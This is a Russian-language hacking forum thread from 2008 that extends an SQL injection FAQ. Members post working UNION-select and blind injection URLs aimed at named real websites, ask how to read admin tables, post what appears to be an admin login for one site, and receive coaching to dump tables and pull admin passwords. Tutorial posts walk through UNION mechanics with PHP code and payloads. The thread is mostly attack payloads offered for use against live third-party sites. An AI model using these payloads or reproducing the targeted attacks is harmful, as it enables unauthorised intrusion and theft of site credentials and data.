ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Авторские статьи
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #41  
Старый 24.06.2008, 20:36
Аватар для Мистерео
Мистерео
Познающий
Регистрация: 07.08.2006
Сообщений: 66
Провел на форуме:
2256830

Репутация: 94
По умолчанию

Вот решил тоже поучится и нашел достаточно интересный сайт таблицы нашел но прочитать колонки к ним не могу хотя составляю правильный запрос типу:
Код:
http://www.tokiavto.ru/pages.php?id=-1+union+select+1,2,COLUMN_NAME+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME='ADMIN'+LIMIT+1,1/*
Кстати все таблицы
Код:
COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS
COLUMN_PRIVILEGES
KEY_COLUMN_USAGE
PROFILING 	
ROUTINES
SCHEMATA
SCHEMA_PRIVILEGES
STATISTICS	
TABLES
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TRIGGERS
USER_PRIVILEGES
VIEWS
newsleech
toki_ekskurs
toki_news
toki_pages
toki_transport
ABOUT
ADMIN
COLOR
COMPILE
CONTACTS
GUESTBOOK
MATERIAL
NEWS
PRODUCER
REKLAMA
SEASON
SEASON_THINGS
SHOPS
TGROUP
THINGS
THINGS_COLORS
 
Ответить с цитированием

  #42  
Старый 24.06.2008, 21:24
Аватар для Jokester
Jokester
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293

Репутация: 4915


По умолчанию

Мистерео
А чем тебе не нравится эта тема:
https://forum.antichat.ru/threadnav46016-1-10.html
По сабжу : название таблицы в Hex вот ссылка :
_http://snak3.h17.ru/tools/
вот так будет выглядеть:
_http://www.tokiavto.ru/pages.php?id=-1+union+select+1,2,COLUMN_NAME+FROM+INFORMATION_SC HEMA.COLUMNS+WHERE+TABLE_NAME=0x41444d494e+LIMIT+4 ,1/*
Да, твой следующий вопрос будет почему нет вывода логин-пароля
Ответ: таблица ADMIN в другой базе
Будут вопросы пиши по возможности в теме которую я привёл-быстрее помогут
 
Ответить с цитированием

SQL injection полный FAQ: использование оператора union
  #43  
Старый 04.08.2008, 20:38
Аватар для Grey
Grey
AMA - Level 2
Регистрация: 10.06.2006
Сообщений: 1,113
Провел на форуме:
17668503

Репутация: 5826


По умолчанию SQL injection полный FAQ: использование оператора union

Я устал видеть распространённую ошибку пользователей связанную с использованием union-a и существующего значения параметра, поэтому решил написать это не большое дополнение, может кому то будет полезно...

Зачем нужно использовать несуществующее значение в sql инъекциях при объединении запросов union-ом? и нужно ли вообще?

Union объеденяет два запроса, делая результат запроса общим, а вот скольно информации будет выведено зависит от php скрипта.

В тех случаях когда скрипт получает еденичные данные из БД (конкретная запись (к примеру новость или сообщение на форуме)) (т.е. когда получение результата запоса не помещено в цикл: $result = mysql_fetch_row($query)), то будет выведена только первая строка результата запроса:

Код:
Возьмём к примеру запрос:

select 111, 222 union select 333, 444

Его результатом будет:

111, 222 - раз строка
333, 444 - два строка

Если ограничить вывод лимитом, то можно получить вывод одной строки:

select 111, 222 union select 333, 444 limit 0,1

Результат:

111, 222

А теперь лимитом выведем вторую строку:

select 111, 222 union select 333, 444 limit 1,1

Результат:

333, 444
Так вот, вернёмся к тому как выводит данные скрипт:

Каждая итерация $result = mysql_fetch_row($query) получает только одну строку результата запроса, и если получение результата запроса не помещено в цикл, то будет получена только одна строка.
А какая строка будет выведена - первая, но это "первеность" зависит от самого запроса:

Код:
select title from news - здесь первой строкой будет та, которая первой сохранена в БД
select title from news where id > 5 - здесь первой строкой будет первая строка в БД удовлетворяющая этому условию
select title from news limit 3, 1 - а вот здесь первая строка = третьей записи в БД и никакой другой она быть не может
На то что будет выведено в результате запроса мы можем влиять меняя сам запрос.

Подставляя в параметр не существующие значение (к примеру подставляя в него минус), мы делаем его результат никаким (т.е. результата не будет вообще):

Код:
select title from news where id = -5 - т.к. новости id которой равен минус пяти нет, то никакого результа у запроса не будет.
А теперь заюзаем union, объеденив тем самым два запроса:

Код:
select title from news where id = -5 union select 1 - т.к. первый запрос результата не даст, то единственным результатом будет результат второго запроса
Здесь первой выведенной строкой будет результат второго запроса, т.к. больше выводить нечего.
Теперь подставим существующие значение:

Код:
select title from news where id = 5 union select 1 - id новости существующее значение, значит первой строкой результата будет результат первого запроса, а второй строкой будет результат второго запроса.
И если получение результата запроса ($result = mysql_fetch_row($query)) не прописано в цикле (а мы такую ситуацию и рассматриваем), то мы увидим только результат первого запроса.
А заюзав лимит и указав вывод второй строки мы получим результат второго запроса:

Код:
select title from news where id = 5 union select 1 limit 1,1
Теперь ситуация когда получение результата в цикле - здесь вначале будут выведены все строки из первого запроса, а затем все строки из второго запроса, т.е. желаемый результат мы увидим где нибудь в конце списка выводимых данных.
Но ситуации когда получение данных идет в цикле и при этом используется условие отбора (where) параметр которого можно менять - все таки некоторая редкость.
Поэтому что бы видеть результат второго запроса, нужно или "вырубать" несуществующим значением первый запрос или с помощью limit-а указвать вывод второй строки "общего" результата запроса:

Код:
?id=1+union+select+1,2,3 - если получение запроса не в цикле, то ничего нового мы здесь не увидим
?id=-1+union+select+1,2,3 - а вот здесь увидим уже результат второго запроса
?id=1+union+select+1,2,3+limit+1,1 - здесь тоже
Помоему удобнее "вырубать" первый запрос несуществующим значением (или условием), чем использовать limit.

Кстати если вы всё таки хотите использовать limit, то учтите что limit 1,1 - будет выводить первую строку второго запроса, а limit 0,1 первый запрос (опять же если получение результата идёт не в цикле и результат первого запроса - одна строка).

-------------------------------------- --------------------------------------

union поддерживается в mysql начиная с 4.0 версии, а вот подзапросы только с 4.1.
Т.е. "раскручивать" не слепую инъекцию через подзапросы возможно в меньших случаях чем через объединение запросов (некоторые скрипты/проги/сплойты могут быть написаны с использованием подзапросов).

Последний раз редактировалось Grey; 27.09.2008 в 22:01..
 
Ответить с цитированием

  #44  
Старый 19.11.2008, 01:02
Аватар для foopi
foopi
Познающий
Регистрация: 26.10.2008
Сообщений: 50
Провел на форуме:
536527

Репутация: 62
Отправить сообщение для foopi с помощью ICQ
По умолчанию

http://kengu.ru/news.php?get=-4172+OR+id=0x494628415343494928535542535452494E472 82853454C4543542B555345522829292C312C31293E3D312C2 734313732272C2734313733272929--
(это зашифрованное IF(ASCII(SUBSTRING((SELECT+USER()),1,1)>=1,'4172','4173')) )

http://kengu.ru/news.php?get=-4172+OR+id=0x494628415343494928535542535452494E472 82853454C4543542B555345522829292C312C31293E3D32353 52C2734313732272C2734313733272929--
(это зашифрованное IF(ASCII(SUBSTRING((SELECT+USER()),1,1)>=255,'4172','4173')) )

Вопрос! почему всегда ответ один и тотже(хотя 4172 и 4173 -разные)
 
Ответить с цитированием

  #45  
Старый 19.11.2008, 02:23
Аватар для Grey
Grey
AMA - Level 2
Регистрация: 10.06.2006
Сообщений: 1,113
Провел на форуме:
17668503

Репутация: 5826


По умолчанию

Цитата:
Сообщение от foopi  
http://kengu.ru/news.php?get=-4172+OR+id=0x494628415343494928535542535452494E472 82853454C4543542B555345522829292C312C31293E3D312C2 734313732272C2734313733272929--
(это зашифрованное IF(ASCII(SUBSTRING((SELECT+USER()),1,1)>=1,'4172','4173')) )

http://kengu.ru/news.php?get=-4172+OR+id=0x494628415343494928535542535452494E472 82853454C4543542B555345522829292C312C31293E3D32353 52C2734313732272C2734313733272929--
(это зашифрованное IF(ASCII(SUBSTRING((SELECT+USER()),1,1)>=255,'4172','4173')) )

Вопрос! почему всегда ответ один и тотже(хотя 4172 и 4173 -разные)
Потому что хексить операторы или функции (вообщем любые управляющие конструкции) нельзя.
 
Ответить с цитированием

  #46  
Старый 26.11.2008, 12:08
Аватар для masternet
masternet
Участник форума
Регистрация: 18.05.2008
Сообщений: 130
Провел на форуме:
1113633

Репутация: 155
По умолчанию

http://www.shale.ru/page.php?lev1=-1+union+select+1,2,3,4,5,'</script>alert('Hacked by masternet')</script>',7,8,9,10--
sixss нету..почему так?
 
Ответить с цитированием

  #47  
Старый 26.11.2008, 12:13
Аватар для ThreeD
ThreeD
Banned
Регистрация: 25.12.2006
Сообщений: 179
Провел на форуме:
2337678

Репутация: 354
По умолчанию

Цитата:
Сообщение от masternet  
http://www.shale.ru/page.php?lev1=-1+union+select+1,2,3,4,5,'</script>alert('Hacked by masternet')</script>',7,8,9,10--
sixss нету..почему так?
Потому что там и не должно быть SIXSS,зачем такой изврат нереальный????
Там пятая версия, дампи таблицы и имей сервак без sixxs xD
http://www.shale.ru/page.php?lev1=-1+union+select+1,2,3,4,5,version(),7,8,9,10--
Ты темы не попутал случаем?
 
Ответить с цитированием

  #48  
Старый 26.11.2008, 12:16
Аватар для masternet
masternet
Участник форума
Регистрация: 18.05.2008
Сообщений: 130
Провел на форуме:
1113633

Репутация: 155
По умолчанию

ну тогда ещё вопрос..сессию пиздить надо?а то не коннектится к админке..
shale.ru/admin
shale;941618
жалко правда что нету форума(
 
Ответить с цитированием

  #49  
Старый 26.11.2008, 12:21
Аватар для ThreeD
ThreeD
Banned
Регистрация: 25.12.2006
Сообщений: 179
Провел на форуме:
2337678

Репутация: 354
По умолчанию

masternet
КАКАЯ НАХ СЕССИЯ!!!!??? Дампи таблицы и выдёргивай логин с пассом админа, или проверяй на доступ к mysql.user! Эта уязвимость лучше чем sixxs ))) бред какой то, ты извращенец. Вали в раздел "Ваши вопросы по уязвимостям" и внимательно перечитай первый пост этой темы!!!!
УУУ...Я ржу нереально.
И кстати- xss , cross-site scripting - если не ошибаюсь, пишется так.
 
Ответить с цитированием

  #50  
Старый 09.01.2009, 19:08
Аватар для Jokester
Jokester
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293

Репутация: 4915


По умолчанию

Дополню пожалуй материал относительно двух запросов подряд.

Думаю все кто знаком с инъекциями с этой ошибкой сталкивались. При подборе количества полей через order by показывает допустим 4 поля, а при запросе union select 1,2,3,4 выкидывает ошибку different number of columns
Обычно на вопрос что это кто-нибудь отвечает что-то типа "там два запроса","ищи другой параметр", "юзай подзапросы" и это как-бы само по себе подразумевает, что вывода небудет.
Это не совсем так, а точнее совсем не так. Количество запросов не влияет на вывод, он либо есть, либо нет, и сколько запросов идёт к базе без разницы.
Давайте разберёмся. Допустим код выглядит так(не знаю кому это может понадобится, рассматриваем теорию ):
PHP код:
$sql="SELECT page_title, page_autor, page_content, page_date FROM pages WHERE id=$id order by id limit 1";
$sql1="SELECT page_title, page_autor, page_content FROM pages WHERE id=$id order by id limit 1";

$res=mysql_query($sql);
$result mysql_fetch_row($res);

$res1=mysql_query($sql1);
$result1 mysql_fetch_row($res1);

echo 
$result[0]."<br>";
echo 
$result[1]."<br>";
echo 
$result[2]."<br>";
echo 
$result[3]."<br>";

echo 
$result1[0]."<br>";
echo 
$result1[1]."<br>";
echo 
$result1[2]."<br>"
Что будет при подборе:
?id=2+order+by+3/*--------вывод без ошибок
?id=2+order+by+4/*--------ошибка Unknown column '4' in 'order clause', но вывод из первого запроса остался. Ошибка возникает во втором запросе
?id=2+order+by+5/*--------тут уже вывода нет, оба запроса не верны
Начинаем вывод полей
?id=-2+union+select+1,2,3/*-------вывод из 2-го запроса (в нём кол-во полей совпало)
?id=-2+union+select+1,2,3,4/*-------из первого
Тоесть вывод есть !
При расположении запросов в обратном порядке , будет то-же самое

Далее, усложним задачу Вывод из разных таблиц:
PHP код:
$sql="SELECT page_title, page_autor, page_content, page_date FROM pages WHERE id=$id";
$res=mysql_query($sql);
$result mysql_fetch_row($res);

$sql1="SELECT title, date FROM news WHERE id=$id";
$res1=mysql_query($sql1);
$result1 mysql_fetch_row($res1);

echo 
$result[0]."<br>";
echo 
$result[1]."<br>";
echo 
$result[2]."<br>";
echo 
$result[3]."<br>";

echo 
"result1 : ".$result1[0]."<br>";
echo 
"result1 : ".$result1[1]."<br>"
?id=1+order+by+2/*------вывод
?id=1+order+by+3/*------ошибка, но вывод из первого запроса
?id=1+order+by+5/*------и наконец ошибка
Выводим:
?id=-1+union+select+1,2/*-------вывод (2 запрс верен)
?id=-1+union+select+1,2,3,4/*--вывод (1 запрс верен)

Ну и наконец смертельный номер Результат одного запроса, идёт в другой запрос:
PHP код:
$sql1="SELECT page_title, id, page_content, page_date FROM pages WHERE page_autor='$id'";
$res1=mysql_query($sql1);
$result1 mysql_fetch_row($res1);

if(
$res1){
$sql="SELECT title, date FROM news WHERE id='$result1[1]'";
$res=mysql_query($sql);
$result mysql_fetch_row($res);

echo 
"result : ".$result[0]."<br>";
echo 
"result : ".$result[1]."<br>";
}
echo 
$result1[0]."<br>";
echo 
$result1[1]."<br>";
echo 
$result1[2]."<br>";
echo 
$result1[3]."<br>"
?id=sa'+order+by+4/*------вывод
?id=sa'+order+by+5/*------ошибка
Вывод
?id=a'+union+select+1,2,3,4/*---из 1 запроса(второй кстати тоже будет верным)
Ну и из второго тоже можно вывести, но это конечно так, для общего развития:
?id=a'+union+select+1,"-1'+union+select+1,2/*",3,4/*
Сдесь вывод из двух запросов

Это конечно не полный перечень возможных запросов, но целью было не рассмотрение всех возможных вариантов. Этим дополнением я хотел показать, что неважно сколько запросов идёт к базе, вывод можно сделать, просто перебор кол-ва столбцов будет несколько отличаться от обычного.
Разумеется ничего нового в материале нет, но надеюсь вопросов(а главное ответов ) связанных с этой ошибкой поубавится

Ну и пример из жизни (взял первую, что нашол, из топика по скулям, кого обидел не поставив копирайты сори )
http://presscenter.kz/index.php?show=news&id=2+order+by+5/*
Вывод
http://presscenter.kz/index.php?show=news&id=2+order+by+6/*
Unknown column '6' in 'order clause'
http://presscenter.kz/index.php?show=news&id=2+union+select+1,2,3,4,5/*
The used SELECT statements have a different number of columns
Вывод:
http://presscenter.kz/index.php?show=news&id=-1+union+select+concat(0x3a3a3a3a,Version()),2,3,4, 5,6,7,8,9/*
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
SQL Injection: Modes of Attack, Defence, and Why It Matters bxN5 Forum for discussion of ANTICHAT 1 09.04.2007 19:07
SQL Injection FAQ bx_N Forum for discussion of ANTICHAT 2 08.03.2007 18:48
Обнаружение Sql инъекций в Oracle, часть вторая k00p3r Чужие Статьи 0 13.06.2005 11:26
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
SQL Injection в Oracle k00p3r Чужие Статьи 0 12.06.2005 12:41



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ